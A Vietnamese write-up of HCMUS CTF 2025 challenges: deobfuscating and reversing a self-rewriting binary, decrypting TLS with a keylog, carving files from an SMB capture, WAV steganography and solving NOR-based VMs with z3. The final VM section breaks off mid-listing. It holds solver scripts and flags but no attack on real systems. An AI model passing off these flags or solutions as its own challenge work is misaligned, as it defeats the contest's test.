Post

HCMUS CTF 2025

Write-up HCMUS CTF 2025

HCMUS CTF 2025

HCMUS-CTF 2025 Quals

Reverse/Hide and seek

image

image

Chương trình bị nhét nhiều byte rác 0xE9 làm cho IDA không gen được mã giả, viết script patch thành NOP là được.

1
2
3
4
5
6
chall = bytearray(open("main", "rb").read())
for i in range(len(chall)):
    if chall[i:i+7] == b'\x0F\x84\x01\x00\x00\x00\xE9':
        chall[i+6] = 0x90
        i += 7
open("main_patched", "wb").write(chall)

Debug và quan sát đoạn này khi chạy lần đầu vơi idx = 0 thì gây exeption:

image

Phân tích hàm handler:

image

Đọc 46 byte input, nếu không đủ thì gọi hàm delete_and_create_file xóa file hiện tại và tạo file mới

image

P/S: Ban đầu mình chạy chall trước khi mở bằng IDA nên sau khi test với input sai thì sinh file mới làm cho việc phân tích sai không thể giải được với crack MD5 khá đáng tiếc. image

Sau khi nhận input, thực hiện xáo với thuật toán Fisher-yates shuffle và seed khởi tạo 0x13371337.

image

Gọi hàm sub_16F6 với hàm con đầu tiên sub_13C4 tạo file mới dựa trên file đang chạy hiện tại và lưu input, seed vào file vừa tạo, set quyền thực thi rồi gọi hàm con sub_165E thực thi với tham số l33t.

image

image

Kiểm chứng với lệnh linux strace -f -e trace=all ./main:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
> strace -f -e trace=all ./main
execve("./main", ["./main"], 0x7ffc05ffe298 /* 43 vars */) = 0
brk(NULL)                               = 0x5ce2e9d51000
mmap(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x739c2a0d6000
access("/etc/ld.so.preload", R_OK)      = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3
fstat(3, {st_mode=S_IFREG|0644, st_size=32706, ...}) = 0
mmap(NULL, 32706, PROT_READ, MAP_PRIVATE, 3, 0) = 0x739c2a0ce000
close(3)                                = 0
openat(AT_FDCWD, "/lib/x86_64-linux-gnu/libc.so.6", O_RDONLY|O_CLOEXEC) = 3
read(3, "\177ELF\2\1\1\3\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0000\237\2\0\0\0\0\0"..., 832) = 832
pread64(3, "\6\0\0\0\4\0\0\0@\0\0\0\0\0\0\0@\0\0\0\0\0\0\0@\0\0\0\0\0\0\0"..., 784, 64) = 784
fstat(3, {st_mode=S_IFREG|0755, st_size=2003408, ...}) = 0
pread64(3, "\6\0\0\0\4\0\0\0@\0\0\0\0\0\0\0@\0\0\0\0\0\0\0@\0\0\0\0\0\0\0"..., 784, 64) = 784
mmap(NULL, 2055640, PROT_READ, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x739c29ed8000
mmap(0x739c29f00000, 1462272, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x28000) = 0x739c29f00000
mmap(0x739c2a065000, 352256, PROT_READ, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x18d000) = 0x739c2a065000
mmap(0x739c2a0bb000, 24576, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x1e2000) = 0x739c2a0bb000
mmap(0x739c2a0c1000, 52696, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x739c2a0c1000
close(3)                                = 0
mmap(NULL, 12288, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x739c29ed5000
arch_prctl(ARCH_SET_FS, 0x739c29ed5740) = 0
set_tid_address(0x739c29ed5a10)         = 1359
set_robust_list(0x739c29ed5a20, 24)     = 0
rseq(0x739c29ed6060, 0x20, 0, 0x53053053) = 0
mprotect(0x739c2a0bb000, 16384, PROT_READ) = 0
mprotect(0x5ce2da730000, 4096, PROT_READ) = 0
mprotect(0x739c2a10b000, 8192, PROT_READ) = 0
prlimit64(0, RLIMIT_STACK, NULL, {rlim_cur=8192*1024, rlim_max=RLIM64_INFINITY}) = 0
munmap(0x739c2a0ce000, 32706)           = 0
rt_sigaction(SIGFPE, {sa_handler=0x5ce2da72e742, sa_mask=[FPE], sa_flags=SA_RESTORER|SA_RESTART, sa_restorer=0x739c29f17d20}, {sa_handler=SIG_DFL, sa_mask=[], sa_flags=0}, 8) = 0
--- SIGFPE {si_signo=SIGFPE, si_code=FPE_INTDIV, si_addr=0x5ce2da72e9b4} ---
write(1, "> ", 2> )                       = 2
read(0, HCMUS-CTF{aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa}
"HCMUS-CTF{aaaaaaaaaaaaaaaaaaaaaa"..., 47) = 47
openat(AT_FDCWD, "/proc/self/exe", O_RDONLY) = 3
fstat(3, {st_mode=S_IFREG|0777, st_size=29128, ...}) = 0
mmap(NULL, 29128, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x739c2a0ce000
read(3, "\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\240\20\0\0\0\0\0\0"..., 29128) = 29128
close(3)                                = 0
unlink("./main")                        = 0
openat(AT_FDCWD, "./main", O_WRONLY|O_CREAT|O_TRUNC, 0700) = 3
write(3, "\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\240\20\0\0\0\0\0\0"..., 29128) = 29128
close(3)                                = 0
munmap(0x739c2a0ce000, 29128)           = 0
execve("./main", ["./main", "l33t"], 0x7ffd88821db8 /* 0 vars */) = 0
brk(NULL)                               = 0x5f92ccf7c000
mmap(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7fb6b5bf8000
access("/etc/ld.so.preload", R_OK)      = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3
fstat(3, {st_mode=S_IFREG|0644, st_size=32706, ...}) = 0
mmap(NULL, 32706, PROT_READ, MAP_PRIVATE, 3, 0) = 0x7fb6b5bf0000
close(3)                                = 0
openat(AT_FDCWD, "/lib/x86_64-linux-gnu/libc.so.6", O_RDONLY|O_CLOEXEC) = 3
read(3, "\177ELF\2\1\1\3\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0000\237\2\0\0\0\0\0"..., 832) = 832
pread64(3, "\6\0\0\0\4\0\0\0@\0\0\0\0\0\0\0@\0\0\0\0\0\0\0@\0\0\0\0\0\0\0"..., 784, 64) = 784
fstat(3, {st_mode=S_IFREG|0755, st_size=2003408, ...}) = 0
pread64(3, "\6\0\0\0\4\0\0\0@\0\0\0\0\0\0\0@\0\0\0\0\0\0\0@\0\0\0\0\0\0\0"..., 784, 64) = 784
mmap(NULL, 2055640, PROT_READ, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x7fb6b59fa000
mmap(0x7fb6b5a22000, 1462272, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x28000) = 0x7fb6b5a22000
mmap(0x7fb6b5b87000, 352256, PROT_READ, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x18d000) = 0x7fb6b5b87000
mmap(0x7fb6b5bdd000, 24576, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x1e2000) = 0x7fb6b5bdd000
mmap(0x7fb6b5be3000, 52696, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x7fb6b5be3000
close(3)                                = 0
mmap(NULL, 12288, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7fb6b59f7000
arch_prctl(ARCH_SET_FS, 0x7fb6b59f7740) = 0
set_tid_address(0x7fb6b59f7a10)         = 1359
set_robust_list(0x7fb6b59f7a20, 24)     = 0
rseq(0x7fb6b59f8060, 0x20, 0, 0x53053053) = 0
mprotect(0x7fb6b5bdd000, 16384, PROT_READ) = 0
mprotect(0x5f9298392000, 4096, PROT_READ) = 0
mprotect(0x7fb6b5c2d000, 8192, PROT_READ) = 0
prlimit64(0, RLIMIT_STACK, NULL, {rlim_cur=8192*1024, rlim_max=RLIM64_INFINITY}) = 0
munmap(0x7fb6b5bf0000, 32706)           = 0
rt_sigaction(SIGFPE, {sa_handler=0x5f9298390742, sa_mask=[FPE], sa_flags=SA_RESTORER|SA_RESTART, sa_restorer=0x7fb6b5a39d20}, {sa_handler=SIG_DFL, sa_mask=[], sa_flags=0}, 8) = 0
write(1, "no\n", 3no
)                     = 3
mmap(NULL, 14552, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7fb6b5bf4000
unlink("./main")                        = 0
openat(AT_FDCWD, "./main", O_WRONLY|O_CREAT|O_TRUNC, 0700) = 3
write(3, "\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0@\23\0\0\0\0\0\0"..., 14552) = 14552
close(3)                                = 0
munmap(0x7fb6b5bf4000, 14552)           = 0
exit(1)                                 = ?
+++ exited with 1 +++

Luồng mới sẽ check input xor seed với enc tại idx.

Nếu idx chưa bằng 46 thì caculate seed và tiếp tục tạo file mới và thực thi.

image

Tóm lại luồng thực thi của challenge này là chạy chương trình lần đầu với idx = 0 thì gây ra exception –> handler được đăng ký xử lý bằng cách đọc input, khởi tạo file mới dựa trên file hiện tại đồng thời xáo input với seed khởi tạo. Nếu idx chưa đạt 46 thì tiếp tục caculate seed gọi sub_16F6 với seed mới tiếp tục luồng check cho tới khi hết byte input.

Như vậy để tìm flag, đầu tiên sẽ mô phỏng luồng xáo Fisher-yates, lưu lại các chỉ số swaps ban đầu, sau đó xor với seed mà được ghi đè từ sau bước xáo –> xáo lại theo chỉ số ban đầu đã lưu.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
enc = bytearray.fromhex("72C36B0CCF65EDBA18CA8F99E68A7FA6E4444C145B9E73D361EB44820DC407C7E582E5B70A394CD251530550126C")
seed = 0x13371337

def LCG(a1):
    a1 = 1664525 * a1 + 0x3C6EF35F
    return a1 & 0xFFFFFFFF

flag = bytearray(len(enc))
swaps = []

for i in range(len(enc)-1, 0, -1):
    seed = LCG(seed)
    swaps.append((i, seed % (i + 1)))
# print(swaps)
for i in range(len(enc)):
    flag[i] = enc[i] ^ (seed & 0xFF)
    seed = LCG(seed)

for i, j in reversed(swaps):
    flag[i], flag[j] = flag[j], flag[i]
print(flag.decode())
# HCMUS-CTF{d1d_y0u_kn0vv_y0u12_O5_c4n_d0_th1s?}

HCMUS-CTF{d1d_y0u_kn0vv_y0u12_O5_c4n_d0_th1s?}

Forensics/TLS Challenge

image

Can you extract the flag from encrypted HTTPS?

Đề cho 1 file capture.pcap với nội dung gói tin bị mã hóa và 1 file keylog.log.

image

Đọc qua file keylog.log thì thấy nó cung cấp TLS secret tạo bởi OpenSSL/Python. Như vậy, theo mô tả chall và các file được cung cấp thì mục tiêu rõ ràng là giải mả lưu lượng TLS trong file pcap để truy xuất nội dung gốc (HTTP bên trong HTTPS).

image

Mở capture.pcap bằng Wiresharek và import file keylog.log để giải mã.

image

HCMUS-CTF{tls_tr@ffic_@n@lysis_ch@ll3ng3}

Forensics/Trashbin

Someone’s been treating my computer like a trash bin, constantly dumping useless files into it. But it seems he got careless and dropped a really important one in there. Even though he deleted it afterward, it might have been too late—hehe😏.

Đề cung cấp 1 file trash.pcap kết hợp với mô tả challenge thì mục tiêu là khôi phục lại file bị xóa sau khi gửi. May mắn là file được gửi qua mạng thông qua giao thức SMB2 nên có thể phục hồi lại được từ gói tin mạng. Dùng lệnh foremost -i trash.pcap -o out để khôi phục lại file bị xóa:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
Foremost version 1.5.7 by Jesse Kornblum, Kris Kendall, and Nick Mikus
Audit File

Foremost started at Sat Jul 19 13:10:43 2025
Invocation: foremost -i trash.pcap -o out 
Output directory: /mnt/d/CTF/rev/HCMUSCTF/2025/FOR_Trashbin/out
Configuration file: /etc/foremost.conf
------------------------------------------------------------------
File: trash.pcap
Start: Sat Jul 19 13:10:43 2025
Length: 483 KB (495585 bytes)
 
Num	 Name (bs=512)	       Size	 File Offset	 Comment 

0:	00000022.zip 	      248 B 	      11747 	 
1:	00000029.zip 	      244 B 	      14971 	 
2:	00000035.zip 	      236 B 	      18191 	 
3:	00000041.zip 	      260 B 	      21403 	 
4:	00000048.zip 	      255 B 	      24639 	 
5:	00000054.zip 	      212 B 	      27870 	 
6:	00000060.zip 	      234 B 	      31058 	 
7:	00000066.zip 	      235 B 	      34268 	 
8:	00000073.zip 	      246 B 	      37487 	 
9:	00000079.zip 	      268 B 	      40717 	 
10:	00000085.zip 	      261 B 	      43969 	 
11:	00000092.zip 	      226 B 	      47214 	 
12:	00000098.zip 	      268 B 	      50424 	 
13:	00000104.zip 	      268 B 	      53676 	 
14:	00000111.zip 	      247 B 	      56928 	 
15:	00000117.zip 	      268 B 	      60159 	 
16:	00000123.zip 	      258 B 	      63403 	 
17:	00000130.zip 	      258 B 	      66637 	 
18:	00000136.zip 	      219 B 	      69871 	 
19:	00000142.zip 	      247 B 	      73066 	 
20:	00000149.zip 	      258 B 	      76289 	 
21:	00000155.zip 	      223 B 	      79523 	 
22:	00000161.zip 	      258 B 	      82722 	 
23:	00000167.zip 	      258 B 	      85956 	 
24:	00000174.zip 	      210 B 	      89190 	 
25:	00000180.zip 	      258 B 	      92376 	 
26:	00000186.zip 	      258 B 	      95610 	 
27:	00000193.zip 	      217 B 	      98844 	 
28:	00000199.zip 	      252 B 	     102037 	 
29:	00000205.zip 	      220 B 	     105265 	 
30:	00000211.zip 	      253 B 	     108461 	 
31:	00000218.zip 	      250 B 	     111690 	 
32:	00000224.zip 	      232 B 	     114916 	 
33:	00000230.zip 	      215 B 	     118124 	 
34:	00000236.zip 	      221 B 	     121315 	 
35:	00000243.zip 	      229 B 	     124512 	 
36:	00000249.zip 	      260 B 	     127717 	 
37:	00000255.zip 	      253 B 	     130953 	 
38:	00000262.zip 	      262 B 	     134182 	 
39:	00000268.zip 	      262 B 	     137420 	 
40:	00000274.zip 	      221 B 	     140658 	 
41:	00000280.zip 	      243 B 	     143855 	 
42:	00000287.zip 	      214 B 	     147074 	 
43:	00000293.zip 	      262 B 	     150264 	 
44:	00000299.zip 	      262 B 	     153502 	 
45:	00000306.zip 	      222 B 	     156740 	 
46:	00000312.zip 	      226 B 	     159938 	 
47:	00000318.zip 	      259 B 	     163148 	 
48:	00000324.zip 	      259 B 	     166391 	 
49:	00000331.zip 	      266 B 	     169634 	 
50:	00000337.zip 	      266 B 	     172884 	 
51:	00000343.zip 	      260 B 	     176126 	 
52:	00000350.zip 	      249 B 	     179362 	 
53:	00000356.zip 	      229 B 	     182587 	 
54:	00000362.zip 	      260 B 	     185792 	 
55:	00000369.zip 	      264 B 	     189028 	 
56:	00000375.zip 	      245 B 	     192268 	 
57:	00000381.zip 	      264 B 	     195489 	 
58:	00000388.zip 	      264 B 	     198729 	 
59:	00000394.zip 	      264 B 	     201969 	 
60:	00000400.zip 	      268 B 	     205217 	 
61:	00000407.zip 	      228 B 	     208469 	 
62:	00000413.zip 	      268 B 	     211681 	 
63:	00000419.zip 	      233 B 	     214933 	 
64:	00000426.zip 	      268 B 	     218150 	 
65:	00000432.zip 	      246 B 	     221402 	 
66:	00000438.zip 	      268 B 	     224632 	 
67:	00000445.zip 	      236 B 	     227884 	 
68:	00000451.zip 	      260 B 	     231096 	 
69:	00000457.zip 	      257 B 	     234332 	 
70:	00000463.zip 	      260 B 	     237565 	 
71:	00000470.zip 	      262 B 	     240801 	 
72:	00000476.zip 	      211 B 	     244039 	 
73:	00000482.zip 	      262 B 	     247226 	 
74:	00000489.zip 	      223 B 	     250464 	 
75:	00000495.zip 	      212 B 	     253663 	 
76:	00000501.zip 	      262 B 	     256851 	 
77:	00000507.zip 	      262 B 	     260089 	 
78:	00000514.zip 	      262 B 	     263327 	 
79:	00000520.zip 	      242 B 	     266565 	 
80:	00000526.zip 	      219 B 	     269783 	 
81:	00000533.zip 	      258 B 	     272978 	 
82:	00000539.zip 	      222 B 	     276212 	 
83:	00000545.zip 	      258 B 	     279410 	 
84:	00000552.zip 	      215 B 	     282644 	 
85:	00000558.zip 	      219 B 	     285843 	 
86:	00000564.zip 	      266 B 	     289046 	 
87:	00000570.zip 	      259 B 	     292296 	 
88:	00000577.zip 	      266 B 	     295539 	 
89:	00000583.zip 	      217 B 	     298789 	 
90:	00000589.zip 	      266 B 	     301990 	 
91:	00000596.zip 	      260 B 	     305240 	 
92:	00000602.zip 	      258 B 	     308484 	 
93:	00000608.zip 	      256 B 	     311726 	 
94:	00000615.zip 	      260 B 	     314958 	 
95:	00000621.zip 	      260 B 	     318194 	 
96:	00000627.zip 	      260 B 	     321430 	 
97:	00000634.zip 	      260 B 	     324666 	 
98:	00000640.zip 	      209 B 	     327902 	 
99:	00000646.zip 	      262 B 	     331087 	 
100:	00000652.zip 	      239 B 	     334325 	 
101:	00000659.zip 	      262 B 	     337540 	 
102:	00000665.zip 	      256 B 	     340778 	 
103:	00000671.zip 	      262 B 	     344010 	 
104:	00000678.zip 	      258 B 	     347248 	 
105:	00000684.zip 	      215 B 	     350482 	 
106:	00000690.zip 	      258 B 	     353673 	 
107:	00000770.zip 	      264 B 	     394691 	 
108:	00000777.zip 	      219 B 	     397931 	 
109:	00000783.zip 	      250 B 	     401126 	 
110:	00000789.zip 	      229 B 	     404352 	 
111:	00000796.zip 	      245 B 	     407557 	 
112:	00000802.zip 	      260 B 	     410778 	 
113:	00000808.zip 	      260 B 	     414014 	 
114:	00000814.zip 	      260 B 	     417250 	 
115:	00000821.zip 	      260 B 	     420486 	 
116:	00000827.zip 	      260 B 	     423722 	 
117:	00000833.zip 	      260 B 	     426958 	 
118:	00000840.zip 	      260 B 	     430194 	 
119:	00000846.zip 	      264 B 	     433430 	 
120:	00000852.zip 	      264 B 	     436670 	 
Finish: Sat Jul 19 13:10:44 2025

121 FILES EXTRACTED
	
zip:= 121
------------------------------------------------------------------

Foremost finished at Sat Jul 19 13:10:44 2025

Rất nhiều file zip nên sử dụng script auto để giải nén và tìm flag:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import os
import zipfile

foremost_dir = "out/zip"
flag = ''
for filename in sorted(os.listdir(foremost_dir)):
    zip_path = os.path.join(foremost_dir, filename)
    if not zipfile.is_zipfile(zip_path):
        continue
    with zipfile.ZipFile(zip_path, 'r') as zip_ref:
        for zip_info in zip_ref.infolist():
            if zip_info.filename.endswith('.txt') or 'flag' in zip_info.filename.lower():
                with zip_ref.open(zip_info) as f:
                    content = f.read().decode(errors='ignore')
                    if "HCMUS-CTF" in content:
                        print(zip_info.filename)
                        flag = content.strip()
                        print(f"{flag}")
                        exit()

flagishere_228.txt
HCMUS-CTF{pr0t3ct_y0ur_SMB_0r_d1e}

Forensics/Disk Partition

Too many flags… but only one is real.

Đề cho 1 file disk.img, mở bằng autospy.

image

Ngó qua thì tại phân vùng vol3 Mac OS, file hệ thống $CatalogFile của HFS+ chứa thông tin metadata về các file và thư mục trong phân vùng gợi ý tại đây sẽ chứa file flag.txt.

image

HCMUS-CTF{1gn0r3_+h3_n01$3_f1nd_m@c}

Forensics/File Hidden

Relax and chill with this lo-fi track… but listen caffuly — there might be something hidden in the sound waves.

Đề cung cấp 1 file âm thanh JACK_J97_|_THIÊN_LÝ_ƠI.wav Theo như mô tả thì có vẻ file flag bị ẩn trong file âm thanh này. Sử dụng tool HiddenWave để tìm file bị ẩn.

image

Chạy script ExWave.py thì thấy nội dung ở dạng binary nên có lẽ file chứa flag ở dạng đặt biệt vì thế mình sửa lại script 1 tí thay vì in ra thì lưu nội dung vào 1 file bin để dễ xác định.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
# HiddinWave Ver 1.0
# Powered by TechChip
# Secret Message Extractor
import os
import wave
import argparse
parser = argparse.ArgumentParser()
parser.add_argument('-f', help='audiofile', dest='audiofile')
args = parser.parse_args()
af = args.audiofile
arged = False
if af:
    arged = True

def cls():
    os.system("cls" if os.name == "nt" else "clear")

def help():
    print("\033[92mExtract Your Secret Message from Audio Wave File.\033[0m")
    print('''usage: ExWave.py [-h] [-f AUDIOFILE]

optional arguments:
  -h, --help    show this help message and exit
  -f AUDIOFILE  Select Audio File''')

def banner():
    print('''
 _  _ _    _    _         __      __
| || (_)__| |__| |___ _ _ \ \    / /_ ___ _____
| __ | / _` / _` / -_) ' \ \ \/\/ / _` \ V / -_)
|_||_|_\__,_\__,_\___|_||_|_\_/\_/\__,_|\_/\___|
                         |___| v1.0 \033[1;91mwww.techchip.net\033[0m
\033[92mVisit for more tutorials : www.youtube.com/techchipnet\033[0m
\033[93mHide your text message in wave audio file like MR.ROBOT\033[0m''')

def ex_msg(af):
    if not arged:
        help()
    else:
        print("[*] Processing audio file...")
        waveaudio = wave.open(af, mode='rb')
        frame_bytes = bytearray(list(waveaudio.readframes(waveaudio.getnframes())))
        extracted = [frame_bytes[i] & 1 for i in range(len(frame_bytes))]
        byte_array = bytearray()
        for i in range(0, len(extracted), 8):
            byte_bits = extracted[i:i+8]
            if len(byte_bits) < 8:
                break
            byte_value = int("".join(map(str, byte_bits)), 2)
            byte_array.append(byte_value)

        end_marker = b"###"
        if end_marker in byte_array:
            byte_array = byte_array.split(end_marker)[0]

        output_filename = "extracted_output.bin"
        with open(output_filename, "wb") as f:
            f.write(byte_array)

        print(f"\033[1;92m[+] Done! Extracted data saved to '{output_filename}'\033[0m")
        waveaudio.close()

cls()
banner()
try:
    ex_msg(af)
except Exception as e:
    print(f"\033[1;91m[-] Something went wrong: {e}\033[0m")

image

Để ý PK gợi ý đến signature của file zip, ngoài ra mình tốn thời gian ở câu này đổi đuôi sang zip nhưng vẫn không giải nén được vì file chứa dữ liệu dư (rác) sau phần ZIP — do tool ExWave.py trích xuất toàn bộ stream LSB, kể cả sau phần kết thúc ZIP nên ta sử dụng thêm lệnh linux zip -FF extracted_output.bin --out fixed.zip để export file zip thực sự. Giải nén và lụm flag:

HCMUS-CTF{Th13nLy_0i_J4ck_5M1ll10n}

HCMUS-CTF 2025 Final

Reverse/Simple VM

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
#!/usr/bin/python3
import pickle
import sys

mem = []

def VM(data):
    with open("image.bin", "rb") as f:
        mem = pickle.load(f)
        
    mem[60001:60017] = data
    
    while True:
        if mem[4] == 1:
            print("DONE")
            break
        i = mem[0]
        a1 = mem[i]
        a2 = mem[i + 1]
        a3 = mem[i + 2]
        
        tmp = (~(mem[a1] | mem[a2])) & 0xffff
        
        mem[a3] = tmp
        mem[1] = ((tmp >> 15) & 1) | ((tmp & 0x7FFF) << 1)
        mem[0] = i + 3
    
    return mem[60100]

key = input("Key: ").strip()

if not (len(key) == 16):
    print("Incorrect format!")
    sys.exit(1)

if VM(key.encode()) == 0:
    print("Correct!, wraps your key with HCMUS-CTF{}")
else:
    print("Incorrect key!")

Challenge VM load image.bin và đọc 16 byte key, nếu mem[60100] = 0 thì key đúng. Cách đơn giản nhất để solve là dùng z3 tham khảo tại đây.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
from z3 import *
import pickle

with open("image.bin", "rb") as f:
    mem_init = pickle.load(f)

# mem là Array: index BitVec(32), value BitVec(16)
mem = Array('mem', BitVecSort(32), BitVecSort(16))
for idx, val in enumerate(mem_init):
    mem = Store(mem, BitVecVal(idx, 32), BitVecVal(val, 16))
key = [BitVec(f"k{i}", 16) for i in range(16)]
for i, kv in enumerate(key):
    mem = Store(mem, BitVecVal(60001+i, 32), kv)
s = Solver()
for k in key:
    s.add(k >= 0x20, k <= 0x7e)
pc = BitVecVal(mem_init[0], 32)
j = 0
while j < 11854:
    ex = Select(mem, BitVecVal(4, 32))
    s.add(ex != BitVecVal(1, 16))
    a1 = Select(mem, pc)
    a2 = Select(mem, pc+1)
    a3 = Select(mem, pc+2)
    v1 = Select(mem, ZeroExt(16, a1))
    v2 = Select(mem, ZeroExt(16, a2))
    tmp = ~ (v1 | v2) & BitVecVal(0xffff, 16)
    mem = Store(mem, ZeroExt(16, a3), tmp)
    # mem[1] = ROL1(tmp)
    rol1 = RotateLeft(tmp, 1)
    mem = Store(mem, BitVecVal(1, 32), rol1)
    pc = pc+3
    j += 1
s.add(Select(mem, BitVecVal(60100, 32)) == BitVecVal(0, 16))

if s.check() == sat:
    m = s.model()
    print("".join(chr(m[k].as_long()) for k in key))
else:
    print("Unsat")
# 0nly_0ne_inst???

Cách thứ 2 sẽ bổ sung bước disassembler VM đó ra để phân tích:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
#!/usr/bin/python3
import pickle
import sys

mem = []
disasm = []
def VM(data):
    with open("image.bin", "rb") as f:
        mem = pickle.load(f)
        
    mem[60001:60017] = data
    with open("disasm.txt", "w") as f:
        while True:
            if mem[4] == 1:
                print("DONE")
                break
            i = mem[0]
            a1 = mem[i]
            a2 = mem[i + 1]
            a3 = mem[i + 2]
            
            tmp = (~(mem[a1] | mem[a2])) & 0xffff
            
            mem[a3] = tmp
            mem[1] = ((tmp >> 15) & 1) | ((tmp & 0x7FFF) << 1)
            mem[0] = i + 3
            if a1 >= 60001 and a1 < 60017 and a2 >= 60001 and a2 < 60017:
                f.write(f"{i}    NOR   {chr(mem[a1])},  {chr(mem[a2])} -->  {mem[a3]}\t(key[{i % len(key)}])\n")
            else:
                f.write(f"{i}    NOR   {mem[a1]},  {mem[a2]} -->  {mem[a3]}\t(mem[{a3}])\n")
        return mem[60100]

key = "qwertyuiopasdfgh"

if not (len(key) == 16):
    print("Incorrect format!")
    sys.exit(1)

if VM(key.encode()) == 0:
    print("Correct!, wraps your key with HCMUS-CTF{}")
else:
    print("Incorrect key!")

image

Quan sát kết quả disassembler có thể thấy mem[60100] xuất hiện 16 lần tương ứng với 16 byte key, như vậy có thể ngầm đoán được 1 byte key sẽ được mã hóa và nếu đúng thì trả về 0. Brute force từng byte key để giải:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
import pickle
from string import ascii_letters, digits, punctuation

m = []
with open("image.bin", "rb") as f:
    m = pickle.load(f)
key = [0] * 16
chars = ascii_letters + digits + punctuation
for j in range(16):
    for c in chars:
        mem = m.copy()
        mem[60001:60017] = key.copy()
        mem[60001+j] = ord(c)
        cnt = 0
        found = False
        while True:
            if mem[4] == 1:
                break
            i = mem[0]
            a1 = mem[i]
            a2 = mem[i + 1]
            a3 = mem[i + 2]
            
            tmp = (~(mem[a1] | mem[a2])) & 0xffff
            
            mem[a3] = tmp
            mem[1] = ((tmp >> 15) & 1) | ((tmp & 0x7FFF) << 1)
            mem[0] = i + 3

            if a3 == 60100:
                cnt += 1
                if cnt == j+1 and tmp == 0:
                    found = True
                    key[j] = ord(c)
                    print(c)
                    break
                
        if found:
            break
print(bytes(key).decode())
# 0nly_0ne_inst???

HCMUS-CTF{0nly_0ne_inst???}

Reverse/Just another VM

Tiếp tục là 1 challenge VM.

image

Debug và trace thì hàm này sẽ thực hiện check key:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
